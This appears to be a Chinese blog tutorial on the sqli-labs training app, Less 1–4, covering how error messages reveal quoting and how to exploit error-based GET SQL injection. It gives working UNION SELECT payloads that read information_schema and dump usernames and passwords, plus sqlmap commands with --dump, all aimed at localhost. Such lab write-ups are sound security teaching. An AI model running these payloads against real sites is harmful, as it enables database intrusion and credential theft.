get基于报错的sql注入
get基于报错的sql注入发现
Less1:
sqli-labs第一关提示说在网页上输入id,也就是?id=1。
但这个?是什么意思,它表示index.php?也就是默认页面。然后?id=1就是把id=1提交到index.php或默认的页面上面。也就是提交参数。
在id=1后面输入单引号 ' 出现报错:
查看报错信息,拿去关键信息:
''1'' LIMIT 0,1'
其中前后的单引号是原本报错信息自带的,所以把它去掉:
'1'' LIMIT 0,1
根据这个揣测一下它原本在数据交互处mysql原本的命令是:
select Login_name,Password from table where id = 'id' limit0,1;
可以看出如果原本没有多加的单引号’它原本的语句应该是:
select Login_name,Password from table where id = '1' limit0,1;
但是我加上那个单引号,又没有形成一对,所以它报错了。
看上面是有一对单引号所以就没有报错。
Less2:
第二关同样的方式来试探它是否有基于get报错的sql注入:
有报错信息,同样拿出来关键内容:
'' LIMIT 0,1'
其中前后的单引号是原本报错信息自带的,所以把它去掉:
' LIMIT 0,1
根据这个揣测一下它原本在数据交互处mysql原本的命令是:
select Login_name,Password from table where id = id limit0,1;
可以看出如果原本没有多加的单引号’它原本的语句应该是:
select Login_name,Password from table where id = 1 limit0,1;
Less3:
有报错信息,同样拿出来关键内容:
''1'') LIMIT 0,1'
其中前后的单引号是原本报错信息自带的,所以把它去掉:
'1'') LIMIT 0,1
根据这个揣测一下它原本在数据交互处mysql原本的命令是:
select Login_name,Password from table where id = ('id') limit0,1;
可以看出如果原本没有多加的单引号’它原本的语句应该是:
select Login_name,Password from table where id = ('1') limit0,1;
根据单引号加括号同样可以写一个1')--+来通过(+会变成空格,--空格在myslq语言里就是注释的意思):
也可以1')--%20来通过(%20会变成空格):
Less4:
第四关不同于前三关可以通过单引号来导致报错,它是通过双引号来包裹住id所以你输入单引号,括号什么的都没有效果,它全部当成数据来处理:
除了用双引号来导致错误,也可以通过\反斜杠来转义,使双引号没有该有的效果。
有报错信息,同样拿出来关键内容:
'"1\") LIMIT 0,1'
其中前后的单引号是原本报错信息自带的,所以把它去掉:
"1\") LIMIT 0,1
根据这个揣测一下它原本在数据交互处mysql原本的命令是:
select Login_name,Password from table where id = ("id") limit0,1;
可以看出如果原本没有多加的单引号’它原本的语句应该是:
select Login_name,Password from table where id = ("1") limit0,1;
根据单引号加括号同样可以写一个1")--+来通过:
也可以1")--%20来通过:
get基于报错的sql注入利用
1.利用order by判断字段数
在php里面无法一次性执行多条sql语句。所以要用union但是用union有两个限制,第一个是个数的限制,需要知道前面的select语句输出了几列,必须跟他一致。第二个就是类型要相似,至少他们可以隐式的转换,数字与日期就不行。
那么针对第一个问题,我们可以用猜有几个字段的方式来确认它到底有几个字段
union select 1 --报错
union select 1,2 --报错
union select 1,2,3 --报错
union select 1,2,3,4 –成功返回结果
通过union可以慢慢去尝试它到底有几列。
也可以同过order by来尝试、
order by 1 –用第一列来进行排序
order by 2 –用第二列来进行排序
…
order by n –直到n列报错那么就确实n-1是表中所有的字段也就是n-1列
经过测试发现到order by 4就会报错,那么它显示的就是三个字段三个内容:
揣测一下它原本在数据交互处mysql原本的命令是:
select Login_name,Password from table where id = '1' order by 3 --+' limit0,1;
所以可以通过报没报错,再用order by来尝试它有几个字段。
2.利用union select 联合查询,获取表名
在这里的话,用union select 先把id=0不显示它原本的内容,导致才会显示出union select的内容。
id=0 ' union select 1,2,3 --+
可以看到,输出显示2和3那就是我们可以利用的位置。
查看数据库版本和当前所在数据库名字
union select 1,version(),database()
知道了当前数据库的名字,那么就可以在系统库information_ schema库下TABLES表TABLE_SCHEMA字段直到获取表名TABLE_NAME:
sql命令:
union select 1,table_name,3 from information_schema.tables where table_schema=database()--+
通过此条命令可以看出只显示了一个行内容,原本在security数据库下四个表只显示了一个,也就是说它不能多行输出,那么就要使用group_concat函数。
它的作用是将group by产生的同一个分组中的值连接起来,返回一个字符串结果。它根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。
sql命令:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
成功显示
3.利用union select 联合查询,获取字段名
获取到了表名,因为我们要拿的是用户的账号密码登信息,可以看出四个表里面users这个表是存放用户的。
跟第二个步骤相似。可以在系统库information_ schema库columns表TABLE_NAME字段获取columns_name:
sql命令:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
成功获取users下的所有字段名。但是它显示了六个字段,我们通过查询数据库发现只有后三个字段是我们需求,那么前三个是什么?
通过sql语句 select * from information_schema.columns where table_name='users';
输出了以下内容:
原来如此,不单单是security有users还有一个performance_schema库下users表,如果要过滤这条内容,就可以指定数据库来实现应有的效果
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and TABLE_schema = 'security';
4.利用union select 联合查询,获取字段值
看到users所有字段后发现username跟password是我们需要的。
通过下面命令获取两个字段的所有内容,0x3a转换过去就是冒号:
union select 1,group_concat(username,0x3a,password),3 from security.users
成功获取账号密码
利用sqlmap测试
1.查看当前所有库:
sqlmap.py -u "http://localhost/Less-1/?id=1" --dbs --batch
--dbs 枚举数据库管理系统数据库
--batch 从不询问用户输入,使用所有默认配置。
获取当前所有数据库
2.获取security数据库下所有表
sqlmap.py -u "http://localhost/Less-1/?id=1" -D security --tables –-batch
-D 指定数据名称
--tables 枚举的DBMS数据库中的表
3.获取security库下users表的所有字段
sqlmap.py -u "http://localhost/Less-1/?id=1" -D security -T users --columns --batch
-T指定表名
--columns 列出字段
4.获取username字段password字段下所有数据
sqlmap.py -u "http://localhost/Less-1/?id=1" -D security -T users -C username,password --dump --batch
-C 指定字段
--dump 列表中指定列的内容
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix